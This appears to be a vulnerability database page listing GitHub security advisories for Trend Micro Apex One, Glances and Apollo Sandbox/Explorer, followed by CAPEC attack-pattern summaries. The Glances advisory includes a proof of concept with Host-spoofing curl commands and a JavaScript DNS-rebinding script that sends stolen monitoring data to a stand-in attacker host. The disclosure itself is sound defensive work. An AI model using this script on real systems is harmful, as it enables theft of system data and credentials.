"type": "CVSS_V3"
}
]
}
GHSA-W6RW-FQ38-CH7G
Vulnerability from github – Published: 2026-05-21 15:34 – Updated: 2026-05-21 15:34An origin validation vulnerability in the Apex One/SEP agent could allow a local attacker to escalate privileges on affected installations. This is similar to CVE-2026-34927 but exists in a different process protection mechanism.
Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2026-34930"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-21T14:16:45Z",
"severity": "HIGH"
},
"details": "An origin validation vulnerability in the Apex One/SEP agent could allow a local attacker to escalate privileges on affected installations. This is similar to CVE-2026-34927 but exists in a different process protection mechanism.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.",
"id": "GHSA-w6rw-fq38-ch7g",
"modified": "2026-05-21T15:34:09Z",
"published": "2026-05-21T15:34:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34930"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/en-US/solution/KA-0023430"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W856-8P3R-P338
Vulnerability from github – Published: 2026-06-22 21:31 – Updated: 2026-06-22 21:31Summary
The Glances XML-RPC server (glances -s, implemented in glances/server.py) does not validate the HTTP Host header, leaving it vulnerable to DNS rebinding attacks. CVE-2026-32632 (patched in 4.5.2) added TrustedHostMiddleware to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no allowed-hosts configuration key. Combined with the unrestricted Access-Control-Allow-Origin: * header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim's browser.
Details
Affected component: glances/server.py — GlancesXMLRPCHandler / GlancesXMLRPCServer
Direct URL (commit 04579778e733d705898a169e049dc84772c852da): - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py
Contrast — patched backends: - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py
The GlancesXMLRPCHandler class inherits from Python's xmlrpc.server.SimpleXMLRPCRequestHandler and does not override parse_request() to inspect or validate the Host header.
Contrast this with the two other Glances server backends, both of which received host-validation hardening:
REST / WebUI server (glances/outputs/glances_restful_api.py) — patched in 4.5.2:
# glances_restful_api.py
if self.webui_allowed_hosts:
self._app.add_middleware(
TrustedHostMiddleware,
allowed_hosts=self.webui_allowed_hosts,
)
MCP server (glances/outputs/glances_mcp.py) — protected since 4.5.1:
# glances_mcp.py
TransportSecuritySettings(
allowed_hosts=self.mcp_allowed_hosts,
...
)
XML-RPC server (glances/server.py) — no equivalent exists:
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
# No Host header check; any Host value is accepted
rpc_paths = ('/RPC2',)
...
There is no xmlrpc_allowed_hosts (or equivalent) configuration key in glances.conf, and the server ignores the Host header on every incoming request.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
Test results:
| Server type | Host header | HTTP status | Data returned |
|---|---|---|---|
| XML-RPC | attacker.example.com |
200 OK | Yes — VULNERABLE |
| XML-RPC | 127.0.0.1:61209 |
200 OK | Yes (baseline) |
| REST API | attacker.example.com |
400 Bad Request | No — patched |
PoC
Attack overview
DNS rebinding breaks the browser Same-Origin Policy by making attacker.example.com temporarily resolve to the target's IP address (e.g. 127.0.0.1). From that point the victim's browser treats the attacker's page as same-origin with http://attacker.example.com:61209/RPC2, forwarding the attacker-controlled Host header to the local Glances XML-RPC server, which accepts it without validation.
Special configuration required
No special glances.conf settings are needed. The vulnerability is present in a default Glances XML-RPC server start (glances -s). For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (pip install "glances[web]").
Step 1 — Start the Glances XML-RPC server
glances -s -p 61209
Step 2 — Confirm the server accepts an arbitrary Host header
curl -s -D - -X POST "http://127.0.0.1:61209/RPC2" \
-H "Host: attacker.example.com" \
-H "Content-Type: text/plain" \
-d '<?xml version="1.0"?>
<methodCall><methodName>getAllPlugins</methodName></methodCall>'
Expected result (secure): HTTP/1.0 400 Bad Request
Actual result: HTTP/1.0 200 OK with full XML-RPC response body.
Step 3 — Confirm the REST API is patched (comparison)
# Start REST server with the same machine as allowed host:
glances -w -p 61210 --webui-port 61210
curl -s -o /dev/null -w "%{http_code}\n" \
"http://127.0.0.1:61210/api/4/status" \
-H "Host: attacker.example.com"
# Returns: 400 (TrustedHostMiddleware rejects the spoofed Host)
Step 4 — Full DNS rebinding exploitation (real-world path)
- Attacker registers
attacker.example.comwith a low-TTL (1 second) DNS record initially pointing to their own server IP. - Attacker serves the following page from
http://attacker.example.com:
<script>
async function exfil() {
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
try {
const r = await fetch('http://attacker.example.com:61209/RPC2', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: payload,
});
const data = await r.text();
// data contains: hostname, OS, all processes with cmd-lines, network, disk
await fetch('https://collect.attacker.example.com/?d=' + btoa(data));
} catch (_) {}
}
// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()
setTimeout(exfil, 5000);
</script>
- Victim visits
http://attacker.example.comin their browser. - After TTL expiry, the attacker's DNS server responds with
127.0.0.1. - The browser's
fetch()call is sent to127.0.0.1:61209withHost: attacker.example.com; the XML-RPC server accepts it. - The
Access-Control-Allow-Origin: *header (see companion advisory) allows the browser to read the response body. - The attacker receives the complete system monitoring snapshot.
Tools that simplify DNS rebinding for research/testing include: - Singularity - rbndr.us
Step 5 — Confirm absence of Host check in source
import sys, inspect
sys.path.insert(0, '/path/to/glances') # adjust to local clone
import glances.server as s
src = inspect.getsource(s.GlancesXMLRPCHandler)
print('Host check present:', 'allowed_hosts' in src or 'Host' in src)
# Host check present: False
Impact
Vulnerability type: Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)
Who is impacted: Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page. This includes deployments where:
- Glances is bound to
127.0.0.1(loopback) — DNS rebinding bypasses the loopback restriction. - Glances is bound to a LAN IP — any browser on that LAN is at risk.
- Glances is exposed on a public IP — any browser on the internet is at risk.
Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.
Impact: - Confidentiality: High — complete system monitoring data readable remotely without credentials. - Integrity: None — read-only XML-RPC API. - Availability: None — no denial-of-service component.
The attack is amplified by the companion CORS wildcard issue (vuln03): without Access-Control-Allow-Origin: *, the browser would still block the response read. Both issues must be fixed together for effective remediation.
Suggested Fix
Option 1 — Add Host validation to the XML-RPC handler (preferred)
Add a webui_allowed_hosts (or new xmlrpc_allowed_hosts) configuration key, and validate the Host header in GlancesXMLRPCHandler:
# server.py
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
allowed_hosts: list[str] = [] # populated from config
def parse_request(self) -> bool:
if not super().parse_request():
return False
if self.allowed_hosts:
host = self.headers.get('Host', '').split(':')[0]
if host not in self.allowed_hosts:
self.send_error(400, 'Bad Request: invalid Host header')
return False
return True
Populate allowed_hosts from the existing webui_allowed_hosts config key (already used by the REST server), so operators have a single knob.
Option 2 — Deprecate and remove the XML-RPC server
The XML-RPC server is a legacy interface. The REST API (glances -w) provides a superset of functionality, is actively maintained, and has all current security controls. Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46611"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-350"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T21:31:44Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe Glances XML-RPC server (`glances -s`, implemented in `glances/server.py`) does not validate the HTTP `Host` header, leaving it vulnerable to DNS rebinding attacks. CVE-2026-32632 (patched in 4.5.2) added `TrustedHostMiddleware` to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no `allowed-hosts` configuration key. Combined with the unrestricted `Access-Control-Allow-Origin: *` header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim\u0027s browser.\n\n---\n\n### Details\n\n**Affected component:** `glances/server.py` \u2014 `GlancesXMLRPCHandler` / `GlancesXMLRPCServer`\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py\n\nContrast \u2014 patched backends:\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py\n\nThe `GlancesXMLRPCHandler` class inherits from Python\u0027s `xmlrpc.server.SimpleXMLRPCRequestHandler` and does not override `parse_request()` to inspect or validate the `Host` header.\n\nContrast this with the two other Glances server backends, both of which received host-validation hardening:\n\n**REST / WebUI server** (`glances/outputs/glances_restful_api.py`) \u2014 patched in 4.5.2:\n\n```python\n# glances_restful_api.py\nif self.webui_allowed_hosts:\n self._app.add_middleware(\n TrustedHostMiddleware,\n allowed_hosts=self.webui_allowed_hosts,\n )\n```\n\n**MCP server** (`glances/outputs/glances_mcp.py`) \u2014 protected since 4.5.1:\n\n```python\n# glances_mcp.py\nTransportSecuritySettings(\n allowed_hosts=self.mcp_allowed_hosts,\n ...\n)\n```\n\n**XML-RPC server** (`glances/server.py`) \u2014 no equivalent exists:\n\n```python\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n # No Host header check; any Host value is accepted\n rpc_paths = (\u0027/RPC2\u0027,)\n ...\n```\n\nThere is no `xmlrpc_allowed_hosts` (or equivalent) configuration key in `glances.conf`, and the server ignores the `Host` header on every incoming request.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Server type | Host header | HTTP status | Data returned |\n|-------------|----------------------|-------------|---------------|\n| XML-RPC | `attacker.example.com` | 200 OK | Yes \u2014 VULNERABLE |\n| XML-RPC | `127.0.0.1:61209` | 200 OK | Yes (baseline) |\n| REST API | `attacker.example.com` | 400 Bad Request | No \u2014 patched |\n\n---\n\n### PoC\n\n**Attack overview**\n\nDNS rebinding breaks the browser Same-Origin Policy by making `attacker.example.com` temporarily resolve to the target\u0027s IP address (e.g. `127.0.0.1`). From that point the victim\u0027s browser treats the attacker\u0027s page as same-origin with `http://attacker.example.com:61209/RPC2`, forwarding the attacker-controlled `Host` header to the local Glances XML-RPC server, which accepts it without validation.\n\n**Special configuration required**\n\nNo special `glances.conf` settings are needed. The vulnerability is present in a default Glances XML-RPC server start (`glances -s`). For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (`pip install \"glances[web]\"`).\n\n---\n\n**Step 1 \u2014 Start the Glances XML-RPC server**\n\n```bash\nglances -s -p 61209\n```\n\n**Step 2 \u2014 Confirm the server accepts an arbitrary Host header**\n\n```bash\ncurl -s -D - -X POST \"http://127.0.0.1:61209/RPC2\" \\\n -H \"Host: attacker.example.com\" \\\n -H \"Content-Type: text/plain\" \\\n -d \u0027\u003c?xml version=\"1.0\"?\u003e\n \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n```\n\nExpected result (secure): `HTTP/1.0 400 Bad Request`\nActual result: `HTTP/1.0 200 OK` with full XML-RPC response body.\n\n**Step 3 \u2014 Confirm the REST API is patched (comparison)**\n\n```bash\n# Start REST server with the same machine as allowed host:\nglances -w -p 61210 --webui-port 61210\n\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \\\n \"http://127.0.0.1:61210/api/4/status\" \\\n -H \"Host: attacker.example.com\"\n# Returns: 400 (TrustedHostMiddleware rejects the spoofed Host)\n```\n\n**Step 4 \u2014 Full DNS rebinding exploitation (real-world path)**\n\n1. Attacker registers `attacker.example.com` with a low-TTL (1 second) DNS record initially pointing to their own server IP.\n2. Attacker serves the following page from `http://attacker.example.com`:\n\n```html\n\u003cscript\u003e\nasync function exfil() {\n const payload = `\u003c?xml version=\"1.0\"?\u003e\n \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n try {\n const r = await fetch(\u0027http://attacker.example.com:61209/RPC2\u0027, {\n method: \u0027POST\u0027,\n headers: { \u0027Content-Type\u0027: \u0027text/plain\u0027 },\n body: payload,\n });\n const data = await r.text();\n // data contains: hostname, OS, all processes with cmd-lines, network, disk\n await fetch(\u0027https://collect.attacker.example.com/?d=\u0027 + btoa(data));\n } catch (_) {}\n}\n\n// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()\nsetTimeout(exfil, 5000);\n\u003c/script\u003e\n```\n\n3. Victim visits `http://attacker.example.com` in their browser.\n4. After TTL expiry, the attacker\u0027s DNS server responds with `127.0.0.1`.\n5. The browser\u0027s `fetch()` call is sent to `127.0.0.1:61209` with `Host: attacker.example.com`; the XML-RPC server accepts it.\n6. The `Access-Control-Allow-Origin: *` header (see companion advisory) allows the browser to read the response body.\n7. The attacker receives the complete system monitoring snapshot.\n\nTools that simplify DNS rebinding for research/testing include:\n- [Singularity](https://github.com/nccgroup/singularity)\n- [rbndr.us](https://rbndr.us)\n\n**Step 5 \u2014 Confirm absence of Host check in source**\n\n```python\nimport sys, inspect\nsys.path.insert(0, \u0027/path/to/glances\u0027) # adjust to local clone\nimport glances.server as s\n\nsrc = inspect.getsource(s.GlancesXMLRPCHandler)\nprint(\u0027Host check present:\u0027, \u0027allowed_hosts\u0027 in src or \u0027Host\u0027 in src)\n# Host check present: False\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)\n\n**Who is impacted:** Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page. This includes deployments where:\n\n- Glances is bound to `127.0.0.1` (loopback) \u2014 DNS rebinding bypasses the loopback restriction.\n- Glances is bound to a LAN IP \u2014 any browser on that LAN is at risk.\n- Glances is exposed on a public IP \u2014 any browser on the internet is at risk.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High \u2014 complete system monitoring data readable remotely without credentials.\n- **Integrity:** None \u2014 read-only XML-RPC API.\n- **Availability:** None \u2014 no denial-of-service component.\n\nThe attack is amplified by the companion CORS wildcard issue (vuln03): without `Access-Control-Allow-Origin: *`, the browser would still block the response read. Both issues must be fixed together for effective remediation.\n\n---\n\n### Suggested Fix\n\n**Option 1 \u2014 Add Host validation to the XML-RPC handler (preferred)**\n\nAdd a `webui_allowed_hosts` (or new `xmlrpc_allowed_hosts`) configuration key, and validate the `Host` header in `GlancesXMLRPCHandler`:\n\n```python\n# server.py\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n\n allowed_hosts: list[str] = [] # populated from config\n\n def parse_request(self) -\u003e bool:\n if not super().parse_request():\n return False\n if self.allowed_hosts:\n host = self.headers.get(\u0027Host\u0027, \u0027\u0027).split(\u0027:\u0027)[0]\n if host not in self.allowed_hosts:\n self.send_error(400, \u0027Bad Request: invalid Host header\u0027)\n return False\n return True\n```\n\nPopulate `allowed_hosts` from the existing `webui_allowed_hosts` config key (already used by the REST server), so operators have a single knob.\n\n**Option 2 \u2014 Deprecate and remove the XML-RPC server**\n\nThe XML-RPC server is a legacy interface. The REST API (`glances -w`) provides a superset of functionality, is actively maintained, and has all current security controls. Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.\n\n---\n\n### Responsible Disclosure\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. \n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---",
"id": "GHSA-w856-8p3r-p338",
"modified": "2026-06-22T21:31:44Z",
"published": "2026-06-22T21:31:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-w856-8p3r-p338"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack"
}
GHSA-W87V-7W53-WWXV
Vulnerability from github – Published: 2025-09-26 15:00 – Updated: 2025-09-29 14:03Impact
A Cross-Site Request Forgery (CSRF) vulnerability was identified in Apollo’s Embedded Sandbox and Embedded Explorer.
The vulnerability arises from missing origin validation in the client-side code that handles window.postMessage events. A malicious website can send forged messages to the embedding page, causing the victim’s browser to execute arbitrary GraphQL queries or mutations against their GraphQL server while authenticated with the victim’s cookies.
Who is impacted
Anyone embedding Apollo Sandbox or Apollo Explorer in their website may have been affected by this vulnerability.
- Users who embed Apollo Sandbox or Apollo Explorer in their websites via npm packages (
@apollo/sandboxand@apollo/explorer) or direct links to Apollo’s CDN. - Users running Apollo Router with embedded Sandbox enabled. This served the vulnerable code from Apollo’s CDN.
- Users running Apollo Server with embedded Sandbox or Explorer enabled. Embedded Sandbox is enabled by default when
NODE_ENVis not set toproduction, and embedded Sandbox and Explorer can also be enabled in production mode via landing page plugins. This served the vulnerable code from Apollo’s CDN.
While all of the above methods of serving Embedded Sandbox and Explorer were vulnerable, Apollo has already updated its CDN to remove all vulnerable versions. Unless you install the npm package @apollo/sandbox or @apollo/explorer directly into your website’s front end code, no action is necessary: the vulnerability has already been mitigated.
Users who do not embed Sandbox/Explorer on their websites, or who only run Apollo Router/Server with production defaults were never impacted. The use of non-embedded Sandbox and Explorer hosted on studio.apollographql.com is not vulnerable.
Scope of impact
The vulnerability allows a malicious website to open the vulnerable website in a new window and force it to send GraphQL requests to its origin. The requests themselves are not "cross-origin" as they are directly issued from the vulnerable website, but their contents are dictated by the malicious website.
The malicious website cannot read the responses to the GraphQL operations, but the operations may be mutations with side effects (such as using credentials to update app-specific data access controls). These operations can contain the browser user's cookies, and the vulnerable website may be on a private network otherwise inaccessible to the attacker. Operations sent this way look and exactly like legitimate operations sent by a human interacting with the embedded Sandbox or Explorer.
Patches
The issue has been fixed by adding strict origin validation to DOM message handling.
@apollo/sandbox: Patched in v2.7.2 and later@apollo/explorer: Patched in v3.7.3 and later- Apollo’s CDN embeds have been updated to patched versions. This protects embeds based on
<script>tags pointing to Apollo’s CDN, as well as the Apollo Router and Apollo Server features. No action is necessary to adopt the fix in this case.
If you manually edited the <script> tag provided by the Explorer or Sandbox UI to replace the version string _latest, v2, or v3 with a specific git-style SHA, you may find that the Explorer or Sandbox UI does not currently load. To fix this, use a supported URL instead, as documented for Sandbox or Explorer. (The third-party Go GraphQL server gqlgen provides a function ApolloSandboxHandler which serves an unsupported URL and was broken by our mitigations; upgrading to gqlgen v0.17.81 will resolve this issue.)
Workarounds
- If you are using Apollo Server, ensure
NODE_ENV=productionis set in production to avoid unintentionally serving embedded Sandbox. - Customers not using embedded Sandbox/Explorer are not affected and do not need to take action.
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@apollo/sandbox"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@apollo/explorer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.7.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59845"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-26T15:00:05Z",
"nvd_published_at": "2025-09-26T23:15:31Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA **Cross-Site Request Forgery (CSRF)** vulnerability was identified in Apollo\u2019s **Embedded Sandbox** and **Embedded Explorer**.\n\nThe vulnerability arises from missing origin validation in the client-side code that handles `window.postMessage` events. A malicious website can send forged messages to the embedding page, causing the victim\u2019s browser to execute arbitrary GraphQL queries or mutations against their GraphQL server while authenticated with the victim\u2019s cookies.\n\n#### Who is impacted\n\nAnyone embedding [Apollo Sandbox](https://www.apollographql.com/docs/graphos/platform/sandbox#embedding-sandbox) or [Apollo Explorer](https://www.apollographql.com/docs/graphos/platform/explorer/embed) in their website may have been affected by this vulnerability.\n\n- Users who embed Apollo Sandbox or Apollo Explorer in their websites via npm packages (`@apollo/sandbox` and `@apollo/explorer`) or direct links to Apollo\u2019s CDN.\n- Users running Apollo Router with [embedded Sandbox enabled](https://www.apollographql.com/docs/graphos/routing/configuration/yaml#sandbox). This served the vulnerable code from Apollo\u2019s CDN.\n- Users running Apollo Server with embedded Sandbox or Explorer enabled. Embedded Sandbox is enabled by default when `NODE_ENV` is not set to `production`, and embedded Sandbox and Explorer can also be enabled in production mode via [landing page plugins](https://www.apollographql.com/docs/apollo-server/api/plugin/landing-pages). This served the vulnerable code from Apollo\u2019s CDN.\n\nWhile all of the above methods of serving Embedded Sandbox and Explorer were vulnerable, Apollo has already updated its CDN to remove all vulnerable versions. **Unless you install the npm package `@apollo/sandbox` or `@apollo/explorer` directly into your website\u2019s front end code, no action is necessary: the vulnerability has already been mitigated.**\n\nUsers who do not embed Sandbox/Explorer on their websites, or who only run Apollo Router/Server with production defaults were never impacted. The use of non-embedded Sandbox and Explorer hosted on [studio.apollographql.com](http://studio.apollographql.com/) is not vulnerable.\n\n\n#### Scope of impact\n\nThe vulnerability allows a malicious website to open the vulnerable website in a new window and force it to send GraphQL requests to its origin. The requests themselves are not \"cross-origin\" as they are directly issued from the vulnerable website, but their contents are dictated by the malicious website.\n\nThe malicious website cannot read the responses to the GraphQL operations, but the operations may be mutations with side effects (such as using credentials to update app-specific data access controls). These operations can contain the browser user\u0027s cookies, and the vulnerable website may be on a private network otherwise inaccessible to the attacker. Operations sent this way look and exactly like legitimate operations sent by a human interacting with the embedded Sandbox or Explorer.\n\n### Patches\n\nThe issue has been fixed by adding strict origin validation to DOM message handling.\n\n- `@apollo/sandbox`: Patched in v2.7.2 and later\n- `@apollo/explorer`: Patched in v3.7.3 and later\n- Apollo\u2019s CDN embeds have been updated to patched versions. This protects embeds based on `\u003cscript\u003e` tags pointing to Apollo\u2019s CDN, as well as the Apollo Router and Apollo Server features. No action is necessary to adopt the fix in this case.\n\nIf you manually edited the `\u003cscript\u003e` tag provided by the Explorer or Sandbox UI to replace the version string `_latest`, `v2`, or `v3` with a specific git-style SHA, you may find that the Explorer or Sandbox UI does not currently load. To fix this, use a supported URL instead, as documented for [Sandbox](https://www.apollographql.com/docs/graphos/platform/sandbox#embedding-sandbox) or [Explorer](https://www.apollographql.com/docs/graphos/platform/explorer/embed). (The third-party Go GraphQL server [gqlgen](https://github.com/99designs/gqlgen) provides a function ApolloSandboxHandler which serves an unsupported URL and was broken by our mitigations; upgrading to [gqlgen v0.17.81](https://github.com/99designs/gqlgen/releases/tag/v0.17.81) will resolve this issue.)\n\n### Workarounds\n\n- If you are using Apollo Server, ensure `NODE_ENV=production` is set in production to avoid unintentionally serving embedded Sandbox.\n- Customers not using embedded Sandbox/Explorer are not affected and do not need to take action.\n\n\n### References\n\n- [Apollo Server CSRF Documentation](https://www.apollographql.com/docs/apollo-server/security/cors#preventing-cross-site-request-forgery-csrf)\n- [Apollo Router Sandbox Configuration](https://www.apollographql.com/docs/graphos/routing/configuration/yaml#sandbox)\n- [Apollo Explorer Embed Documentation](https://www.apollographql.com/docs/graphos/platform/explorer/embed)",
"id": "GHSA-w87v-7w53-wwxv",
"modified": "2025-09-29T14:03:00Z",
"published": "2025-09-26T15:00:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apollographql/embeddable-explorer/security/advisories/GHSA-w87v-7w53-wwxv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59845"
},
{
"type": "PACKAGE",
"url": "https://github.com/apollographql/embeddable-explorer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apollo Embedded Sandbox and Explorer vulnerable to CSRF via window.postMessage origin-validation bypass"
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-160: Exploit Script-Based APIs
Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
